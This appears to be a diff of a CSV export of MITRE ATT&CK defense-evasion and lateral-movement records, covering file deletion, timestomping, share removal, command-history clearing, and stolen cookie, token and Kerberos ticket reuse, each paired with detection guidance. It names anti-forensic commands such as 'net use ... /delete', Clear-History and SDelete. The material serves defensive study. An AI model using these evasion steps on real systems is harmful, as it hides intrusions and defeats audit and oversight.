Use),attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c,attack-pattern,['defense-evasion'],2021-02-09T13:31:01.970Z,2020-01-31T12:39:18.816Z,"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.","['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",,['Host forensic analysis'],"['Administrator', 'User']",['Windows'],,,,['Established network share connection to a remote system. Level of access depends on permissions of the account used.'],,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070.004', 'url': 'https://attack.mitre.org/techniques/T1070/004'}, {'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'source_name': 'Trend Micro APT Attack Tools'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.0,True,https://attack.mitre.org/techniques/T1070/004,mitre-attack,T1070.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,File Deletion,"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. +In later versions of Windows (10+), PubPrn.vbs has been updated to prevent proxying execution from a remote site. This is done by limiting the protocol specified in the second parameter to LDAP://, vice the script: moniker which could be used to reference remote code via HTTP(S).",['defense-evasion'],https://attack.mitre.org/techniques/T1216/001,mitre-attack,T1216.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Atul Nair, Qualys']","['Process: Process Creation', 'Command: Command Execution', 'Script: Script Execution']","['Digital Certificate Validation', 'Application Control']","Monitor script processes, such as `cscript`, and command-line parameters for scripts like PubPrn.vbs that may be used to proxy execution of malicious files.",True,['User'],['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/006', 'external_id': 'T1070.006'}, {'source_name': 'WindowsIR Anti-Forensic Techniques', 'description': 'Carvey, H. (2013, July 23). HowTo: Determine/Detect the use of Anti-Forensics Techniques. Retrieved June 3, 2016.', 'url': 'http://windowsir.blogspot.com/2013/07/howto-determinedetect-use-of-anti.html'}]",1.0,attack-pattern,attack-pattern--47f2d673-ca62-47e9-929b-1b0be9657611,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:42:44.103Z,2020-03-29T21:39:46.724Z,Timestomp,"Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools. -There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c,attack-pattern,['defense-evasion'],2020-03-29T21:34:16.209Z,2020-01-31T12:35:36.479Z,"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.","['File: File Deletion', 'Command: Command Execution']",['Walker Johnson'],['Host forensic analysis'],['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1070.003', 'url': 'https://attack.mitre.org/techniques/T1070/003'}, {'source_name': 'Microsoft PowerShell Command History', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7', 'description': 'Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.'}, {'source_name': 'Sophos PowerShell command audit', 'url': 'https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit', 'description': 'jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.'}, {'source_name': 'Sophos PowerShell Command History Forensics', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]",1.1,True,https://attack.mitre.org/techniques/T1070/003,mitre-attack,T1070.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Clear Command History,"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. +Timestomping may be used along with file name [Masquerading](https://attack.mitre.org/techniques/T1036) to hide malware and tools.(Citation: WindowsIR Anti-Forensic Techniques)",['defense-evasion'],https://attack.mitre.org/techniques/T1070/006,mitre-attack,T1070.006,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Romain Dumont, ESET']","['File: File Modification', 'File: File Metadata']",['Host forensic analysis'],Forensic techniques exist to detect aspects of files that have had their timestamps modified. (Citation: WindowsIR Anti-Forensic Techniques) It may be possible to detect timestomping using file modification monitoring that collects information on file handle opens and can compare timestamp values.,True,"['root', 'SYSTEM', 'User']","['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/005', 'external_id': 'T1070.005'}, {'source_name': 'Technet Net Use', 'description': 'Microsoft. (n.d.). Net Use. Retrieved November 25, 2016.', 'url': 'https://technet.microsoft.com/bb490717.aspx'}]",1.0,attack-pattern,attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:39:18.816Z,2021-02-09T13:31:01.970Z,Network Share Connection Removal,Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation. Windows shared drive and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002) connections can be removed when no longer needed. [Net](https://attack.mitre.org/software/S0039) is an example utility that can be used to remove network share connections with the net use \\system\share /delete command. (Citation: Technet Net Use),['defense-evasion'],https://attack.mitre.org/techniques/T1070/005,mitre-attack,T1070.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Creation', 'Command: Command Execution', 'Network Traffic: Network Traffic Content', 'User Account: User Account Authentication']",['Host forensic analysis'],"Network share connections may be common depending on how an network environment is used. Monitor command-line invocation of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of [Windows Admin Shares](https://attack.mitre.org/techniques/T1077). SMB traffic between systems may also be captured and decoded to look for related network share session and file transfer activity. Windows authentication logs are also useful in determining when authenticated network shares are established and by which account, and can be used to correlate network share activity to other events to investigate potentially malicious activity.",True,"['Administrator', 'User']",['Windows'],,,,['Established network share connection to a remote system. Level of access depends on permissions of the account used.'],,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/004', 'external_id': 'T1070.004'}, {'source_name': 'Trend Micro APT Attack Tools', 'description': 'Wilhoit, K. (2013, March 4). In-Depth Look: APT Attack Tools of the Trade. Retrieved December 2, 2015.', 'url': 'http://blog.trendmicro.com/trendlabs-security-intelligence/in-depth-look-apt-attack-tools-of-the-trade/'}]",1.0,attack-pattern,attack-pattern--d63a3fb8-9452-4e9d-a60a-54be68d5998c,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:35:36.479Z,2020-03-29T21:34:16.209Z,File Deletion,"Adversaries may delete files left behind by the actions of their intrusion activity. Malware, tools, or other non-native files dropped or created on a system by an adversary may leave traces to indicate to what was done within a network and how. Removal of these files can occur during an intrusion, or as part of a post-intrusion process to minimize the adversary's footprint. + +There are tools available from the host operating system to perform cleanup, but adversaries may use other tools as well. Examples include native [cmd](https://attack.mitre.org/software/S0106) functions such as DEL, secure deletion tools such as Windows Sysinternals SDelete, or other third-party file deletion tools. (Citation: Trend Micro APT Attack Tools)",['defense-evasion'],https://attack.mitre.org/techniques/T1070/004,mitre-attack,T1070.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Walker Johnson'],"['File: File Deletion', 'Command: Command Execution']",['Host forensic analysis'],"It may be uncommon for events related to benign command-line functions such as DEL or third-party utilities or tools to be found in an environment, depending on the user base and how systems are typically used. Monitoring for command-line deletion functions to correlate with binaries or other files that an adversary may drop and remove may lead to detection of malicious activity. Another good practice is monitoring for known deletion and secure deletion tools that are not already on systems within an enterprise network that an adversary could introduce. Some monitoring tools may collect command-line arguments, but may not capture DEL commands since DEL is a native function within cmd.exe.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1070/003', 'external_id': 'T1070.003'}, {'source_name': 'Microsoft PowerShell Command History', 'description': 'Microsoft. (2020, May 13). About History. Retrieved September 4, 2020.', 'url': 'https://docs.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_history?view=powershell-7'}, {'source_name': 'Sophos PowerShell command audit', 'description': 'jak. (2020, June 27). Live Discover - PowerShell command audit. Retrieved August 21, 2020.', 'url': 'https://community.sophos.com/products/intercept/early-access-program/f/live-discover-response-queries/121529/live-discover---powershell-command-audit'}, {'source_name': 'Sophos PowerShell Command History Forensics', 'description': 'Vikas, S. (2020, August 26). PowerShell Command History Forensics. Retrieved September 4, 2020.', 'url': 'https://community.sophos.com/products/malware/b/blog/posts/powershell-command-history-forensics'}]",1.1,attack-pattern,attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-31T12:32:08.228Z,2020-10-16T18:09:48.686Z,Clear Command History,"In addition to clearing system logs, an adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. Various command interpreters keep track of the commands users type in their terminal so that users can retrace what they've done. On Linux and macOS, these command histories can be accessed in a few different ways. While logged in, this command history is tracked in a file pointed to by the environment variable HISTFILE. When a user logs off a system, this information is flushed to a file in the user's home directory called ~/.bash_history. The benefit of this is that it allows users to go back to commands they've used before in different sessions. @@ -1843,22 +2055,22 @@ On Windows hosts, PowerShell has two different command history providers: the bu The PSReadLine command history tracks the commands used in all PowerShell sessions and writes them to a file ($env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt by default). This history file is available to all sessions and contains all past history since the file is not deleted when the session ends.(Citation: Microsoft PowerShell Command History) -Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",attack-pattern--3aef9463-9a7a-43ba-8957-a867e07c1e6a,attack-pattern,['defense-evasion'],2020-10-16T18:09:48.686Z,2020-01-31T12:32:08.228Z,"User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity. +Adversaries may run the PowerShell command Clear-History to flush the entire command history from a current PowerShell session. This, however, will not delete/flush the ConsoleHost_history.txt file. Adversaries may also delete the ConsoleHost_history.txt file or edit its contents to hide PowerShell commands they have run.(Citation: Sophos PowerShell command audit)(Citation: Sophos PowerShell Command History Forensics)",['defense-evasion'],https://attack.mitre.org/techniques/T1070/003,mitre-attack,T1070.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Command: Command Execution', 'File: File Modification', 'File: File Deletion']","['Host forensic analysis', 'Log analysis']","User authentication, especially via remote terminal services like SSH, without new entries in that user's ~/.bash_history is suspicious. Additionally, the removal/clearing of the ~/.bash_history file can be an indicator of suspicious activity. -Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.","['Command: Command Execution', 'File: File Modification', 'File: File Deletion']","['Vikas Singh, Sophos', 'Emile Kenning, Sophos']","['Host forensic analysis', 'Log analysis']",['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1550.004', 'url': 'https://attack.mitre.org/techniques/T1550/004'}, {'external_id': 'CAPEC-60', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/60.html'}, {'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html', 'source_name': 'Pass The Cookie'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.2,True,https://attack.mitre.org/techniques/T1550/004,mitre-attack,T1550.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Web Session Cookie,"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) +Monitor for suspicious modifications or deletion of ConsoleHost_history.txt and use of the Clear-History command.",True,['User'],"['Linux', 'macOS', 'Windows']",,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/004', 'external_id': 'T1550.004'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/60.html', 'external_id': 'CAPEC-60'}, {'source_name': 'Pass The Cookie', 'description': 'Rehberger, J. (2018, December). Pivot to the Cloud using Pass the Cookie. Retrieved April 5, 2019.', 'url': 'https://wunderwuzzi23.github.io/blog/passthecookie.html'}, {'source_name': 'Unit 42 Mac Crypto Cookies January 2019', 'description': 'Chen, Y., Hu, W., Xu, Z., et. al. (2019, January 31). Mac Malware Steals Cryptocurrency Exchanges’ Cookies. Retrieved October 14, 2019.', 'url': 'https://unit42.paloaltonetworks.com/mac-malware-steals-cryptocurrency-exchanges-cookies/'}]",1.3,attack-pattern,attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T17:48:49.395Z,2021-10-12T14:22:09.650Z,Web Session Cookie,"Adversaries can use stolen session cookies to authenticate to web applications and services. This technique bypasses some multi-factor authentication protocols since the session is already authenticated.(Citation: Pass The Cookie) Authentication cookies are commonly used in web applications, including cloud-based services, after a user has authenticated to the service so credentials are not passed and re-authentication does not need to occur as frequently. Cookies are often valid for an extended period of time, even if the web application is not actively used. After the cookie is obtained through [Steal Web Session Cookie](https://attack.mitre.org/techniques/T1539) or [Web Cookies](https://attack.mitre.org/techniques/T1606/001), the adversary may then import the cookie into a browser they control and is then able to use the site or application as the user for as long as the session cookie is active. Once logged into the site, an adversary can access sensitive information, read email, or perform actions that the victim account has permissions to perform. -There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)",attack-pattern--c3c8c916-2f3c-4e71-94b2-240bdfc996f0,attack-pattern,"['defense-evasion', 'lateral-movement']",2021-04-14T13:21:37.474Z,2020-01-30T17:48:49.395Z,Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.,"['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['Johann Rehberger'],['System Access Controls'],,"['Office 365', 'SaaS', 'Google Workspace']",,CAPEC-60,https://capec.mitre.org/data/definitions/60.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1550.001', 'url': 'https://attack.mitre.org/techniques/T1550/001'}, {'external_id': 'CAPEC-593', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/593.html'}, {'description': 'Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', 'url': 'https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/', 'source_name': 'Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019'}, {'description': 'okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.', 'url': 'https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen', 'source_name': 'okta'}, {'description': 'Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens', 'source_name': 'Microsoft Identity Platform Access 2019'}, {'description': 'Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.', 'url': 'https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/', 'source_name': 'Staaldraad Phishing with OAuth 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.2,True,https://attack.mitre.org/techniques/T1550/001,mitre-attack,T1550.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Application Access Token,"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials. +There have been examples of malware targeting session cookies to bypass multi-factor authentication systems.(Citation: Unit 42 Mac Crypto Cookies January 2019)","['defense-evasion', 'lateral-movement']",https://attack.mitre.org/techniques/T1550/004,mitre-attack,T1550.004,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Jen Burns, HubSpot', 'Johann Rehberger']","['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['System Access Controls'],Monitor for anomalous access of websites and cloud-based applications by the same user in different locations or by different systems that do not match expected configurations.,True,,"['Office 365', 'SaaS', 'Google Workspace', 'IaaS']",,CAPEC-60,https://capec.mitre.org/data/definitions/60.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/001', 'external_id': 'T1550.001'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/593.html', 'external_id': 'CAPEC-593'}, {'source_name': 'Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019', 'description': 'Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.', 'url': 'https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/'}, {'source_name': 'okta', 'description': 'okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.', 'url': 'https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen'}, {'source_name': 'Microsoft Identity Platform Access 2019', 'description': 'Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.', 'url': 'https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens'}, {'source_name': 'Staaldraad Phishing with OAuth 2017', 'description': 'Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.', 'url': 'https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/'}]",1.2,attack-pattern,attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T17:37:22.261Z,2021-09-02T17:18:55.891Z,Application Access Token,"Adversaries may use stolen application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials. Application access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta) For example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a ""refresh"" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017) -Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.",attack-pattern--f005e783-57d4-4837-88ad-dbe7faee1c51,attack-pattern,"['defense-evasion', 'lateral-movement']",2021-04-14T18:09:45.539Z,2020-01-30T17:37:22.261Z,Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.,"['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']","['Shailesh Tiwary (Indian Army)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Mark Wee']",['System Access Controls'],,"['Office 365', 'SaaS', 'Google Workspace']",,CAPEC-593,https://capec.mitre.org/data/definitions/593.html,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1550.003', 'url': 'https://attack.mitre.org/techniques/T1550/003'}, {'external_id': 'CAPEC-645', 'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/645.html'}, {'url': 'https://adsecurity.org/?p=556', 'description': 'Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.', 'source_name': 'ADSecurity AD Kerberos Attacks'}, {'url': 'http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos', 'description': 'Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.', 'source_name': 'GentilKiwi Pass the Ticket'}, {'url': 'http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf', 'description': 'Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.', 'source_name': 'Campbell 2014'}, {'source_name': 'Stealthbits Overpass-the-Hash', 'url': 'https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/', 'description': 'Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.'}, {'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'source_name': 'CERT-EU Golden Ticket Protection'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]",1.1,True,https://attack.mitre.org/techniques/T1550/003,mitre-attack,T1550.003,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Pass the Ticket,"Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. +Compromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.","['defense-evasion', 'lateral-movement']",https://attack.mitre.org/techniques/T1550/001,mitre-attack,T1550.001,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Shailesh Tiwary (Indian Army)', 'Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)', 'Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)', 'Mark Wee']","['Web Credential: Web Credential Usage', 'Application Log: Application Log Content']",['System Access Controls'],Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications and APIs.,True,,"['Office 365', 'SaaS', 'Google Workspace']",,CAPEC-593,https://capec.mitre.org/data/definitions/593.html,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'lateral-movement'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1550/003', 'external_id': 'T1550.003'}, {'source_name': 'capec', 'url': 'https://capec.mitre.org/data/definitions/645.html', 'external_id': 'CAPEC-645'}, {'source_name': 'ADSecurity AD Kerberos Attacks', 'description': 'Metcalf, S. (2014, November 22). Mimikatz and Active Directory Kerberos Attacks. Retrieved June 2, 2016.', 'url': 'https://adsecurity.org/?p=556'}, {'source_name': 'GentilKiwi Pass the Ticket', 'description': 'Deply, B. (2014, January 13). Pass the ticket. Retrieved June 2, 2016.', 'url': 'http://blog.gentilkiwi.com/securite/mimikatz/pass-the-ticket-kerberos'}, {'source_name': 'Campbell 2014', 'description': 'Campbell, C. (2014). The Secret Life of Krbtgt. Retrieved December 4, 2014.', 'url': 'http://defcon.org/images/defcon-22/dc-22-presentations/Campbell/DEFCON-22-Christopher-Campbell-The-Secret-Life-of-Krbtgt.pdf'}, {'source_name': 'Stealthbits Overpass-the-Hash', 'description': 'Warren, J. (2019, February 26). How to Detect Overpass-the-Hash Attacks. Retrieved February 4, 2021.', 'url': 'https://stealthbits.com/blog/how-to-detect-overpass-the-hash-attacks/'}, {'source_name': 'CERT-EU Golden Ticket Protection', 'description': 'Abolins, D., Boldea, C., Socha, K., Soria-Machado, M. (2016, April 26). Kerberos Golden Ticket Protection. Retrieved July 13, 2017.', 'url': 'https://cert.europa.eu/static/WhitePapers/UPDATED%20-%20CERT-EU_Security_Whitepaper_2014-007_Kerberos_Golden_Ticket_Protection_v1_4.pdf'}]",1.1,attack-pattern,attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-30T17:03:43.072Z,2021-08-31T19:56:31.341Z,Pass the Ticket,"Adversaries may “pass the ticket” using stolen Kerberos tickets to move laterally within an environment, bypassing normal system access controls. Pass the ticket (PtT) is a method of authenticating to a system using Kerberos tickets without having access to an account's password. Kerberos authentication can be used as the first step to lateral movement to a remote system. When preforming PtT, valid Kerberos tickets for [Valid Accounts](https://attack.mitre.org/techniques/T1078) are captured by [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). A user's service tickets or ticket granting ticket (TGT) may be obtained, depending on the level of access. A service ticket allows for access to a particular resource, whereas a TGT can be used to request service tickets from the Ticket Granting Service (TGS) to access any resource the user has privileges to access.(Citation: ADSecurity AD Kerberos Attacks)(Citation: GentilKiwi Pass the Ticket) @@ -1866,28 +2078,28 @@ A [Silver Ticket](https://attack.mitre.org/techniques/T1558/002) can be obtained A [Golden Ticket](https://attack.mitre.org/techniques/T1558/001) can be obtained for the domain using the Key Distribution Service account KRBTGT account NTLM hash, which enables generation of TGTs for any account in Active Directory.(Citation: Campbell 2014) -Adversaries may also create a valid Kerberos ticket using other user information, such as stolen password hashes or AES keys. For example, ""overpassing the hash"" involves using a NTLM password hash to authenticate as a user (i.e. [Pass the Hash](https://attack.mitre.org/techniques/T1550/002)) while also using the password hash to create a valid Kerberos ticket.(Citation: Stealthbits Overpass-the-Hash)",attack-pattern--7b211ac6-c815-4189-93a9-ab415deca926,attack-pattern,"['defense-evasion', 'lateral-movement']",2021-03-15T21:42:11.839Z,2020-01-30T17:03:43.072Z,"Audit all Kerberos authentication and credential use events and review for discrepancies. Unusual remote authentication events that correlate with other suspicious activity (such as writing and executing binaries) may indicate malicious activity. 